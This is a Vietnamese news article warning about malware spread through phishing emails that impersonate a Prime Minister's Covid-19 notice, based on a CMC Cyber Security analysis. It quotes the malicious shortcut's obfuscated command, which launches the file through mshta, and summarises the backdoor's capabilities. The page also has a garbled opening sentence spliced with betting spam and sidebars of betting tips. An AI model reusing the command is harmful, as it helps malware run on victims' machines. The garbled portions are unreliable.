会员登录 - 用户注册 - 设为首页 - 加入收藏 - 网站地图 Cảnh giác với mã độc được phát tán qua email mạo danh thông báo của Thủ tướng về dịch Covid!

Cảnh giác với mã độc được phát tán qua email mạo danh thông báo của Thủ tướng về dịch Covid

时间:2025-02-13 07:11:51 来源:NEWS 作者:Công nghệ 阅读:242次
Phát hiện mã độc được phát tán qua email mạo danh thông báo của Thủ tướng về dịch Covid-19 | Cảnh giác với mã độc được phát tán qua email mạo danh thông báo của Thủ tướng về dịch Covid-19

TheảnhgiácvớimãđộcđượcpháttánquaemailmạodanhthôngbáocủaThủtướngvềdịbang xep hang serie ao chuyên gia, thời gian gần đây do diễn biến của dịch Covid-19  khá phức tạp, nhiều nhóm hacker lợi dụng việc này để thực hiện các chiến dịch tấn công có chủ đích APT nhằm vào các tổ chức trên thế giới, cũng như xuất hiện chiến dịch ở Việt Nam (Ảnh minh họa: Internet)

Trong báo cáo phân tích của CMC Cyber Security về mẫu mã độc được phát tán qua email giả dạng thông báo của Thủ tướng về dịch Covid-19, doanh nghiệp bảo mật này cho hay, thời gian gần đây do diễn biến của dịch Covid-19  khá phức tạp, nhiều nhóm hacker lợi dụng việc này để thực hiện các chiến dịch APT (tấn công có chủ đích - PV) nhằm vào các tổ chức trên thế giới, cũng như xuất hiện chiến dịch ở Việt Nam.

Mới đây, lợi dụng tình hình căng thẳng của dịch viêm đường hô hấp cấp Covid-19, mẫu mã độc giống với một số mẫu do nhóm tin tặc Panda phát triển được phát hiện đã thực hiện mạo danh văn bản thông báo của Chính phủ về tình hình dịch để đánh lừa người dùng.

Phát hiện mã độc được phát tán qua email mạo danh thông báo của Thủ tướng về dịch Covid-19 | Cảnh giác với mã độc được phát tán qua email mạo danh thông báo của Thủ tướng về dịch Covid-19

Cụ thể, mẫu mã độc được chèn trong một file word với tiêu đề “Chi Thi cua Thu tuong nguyen xuan phuc” nhằm đánh lừa người dùng. Theo phân tích của chuyên gia, file mẫu là một file shortcut có phần mở rộng là “.lnk” được ẩn dưới dạng một file winword nhằm đánh lừa người dùng do đuôi “.lnk” sẽ được Windows ẩn đi.

Tuy nhiên, file winword này sử dụng một target đáng ngờ. Thông thường target của shorcut thường trỏ đến một thư mục hoặc file đích, nhưng target của mẫu này lại chứa đoạn command có dạng: “%comspec% /c for %x in (%temp%=%cd%) do for /f “delims==” %i in (‘dir “%x\Chi Thi cua thu tuong nguyen xuan phuc.lnk” /s /b’) do start m%windir:~-1,1%hta.exe “%i”.

Cũng qua phân tích file mã độc được phát tán qua email giả dạng thông báo của Thủ tướng về dịch Covid-19, các chuyên gia CMC Cyber Security cho biết, sau khi lừa người dùng tải về, qua hàng loạt lệnh, mã độc sẽ tiến hành: tạo bản sao của 3 file thực thi vào thư mục profile của user hoặc alluserprofile nếu có đủ quyền administrator; thêm và khóa autorun để tự kích hoạt file thực thi vừa drop ra khi khởi động lại máy; tạo mutex, kết nối đến server (máy chủ) để nhận lệnh từ server; tạo backdoor (cửa hậu) cho phép kẻ tấn công thực thi lệnh từ xa; hay hỗ trợ nhiều lệnh thực thi khác nhau bao gồm upload file, thư mục, list folder, đọc file, lấy thông tin máy tính, thông tin người dùng…

(责任编辑:Bóng đá)

相关内容
  • Soi kèo góc Brest vs PSG, 00h45 ngày 12/2
  • Nhận định, soi kèo Club Brugge vs Atalanta, 00h45 ngày 13/2: Nhẫn nhịn chờ đợi
  • Nhận định, soi kèo Beroe vs Krumovgrad, 22h30 ngày 10/2: Tương lai tươi sáng
  • Nhận định, soi kèo Tigre vs Racing Club, 8h15 ngày 12/2: Chứng tỏ đẳng cấp
  • Nhận định, soi kèo Boca Juniors vs Independiente Rivadavia, 6h00 ngày 12/2: Những vị khách khó chịu
  • Soi kèo phạt góc Feyenoord vs AC Milan, 03h00 ngày 13/2
  • Siêu máy tính dự đoán Juventus vs PSV Eindhoven, 3h00 ngày 12/2
  • Nhận định, soi kèo Man City vs Real Madrid, 03h00 ngày 12/2: Khắc chế nhà vô địch
推荐内容
  • Siêu máy tính dự đoán Juventus vs PSV Eindhoven, 3h00 ngày 12/2
  • Nhận định, soi kèo U19 Real Betis vs U19 Bayern Munich, 22h00 ngày 11/2: Hùm xám dừng bước
  • Nhận định, soi kèo Abha vs Al Bukayriyah, 20h00 ngày 11/2: Khó cho khách
  • Nhận định, soi kèo Skenderbeu Korce vs Laci, 22h59 ngày 10/2: Trận chiến sống còn
  • Siêu máy tính dự đoán Juventus vs PSV Eindhoven, 3h00 ngày 12/2
  • Nhận định, soi kèo Brest vs PSG, 00h45 ngày 12/2: Ông vua xứ lục lăng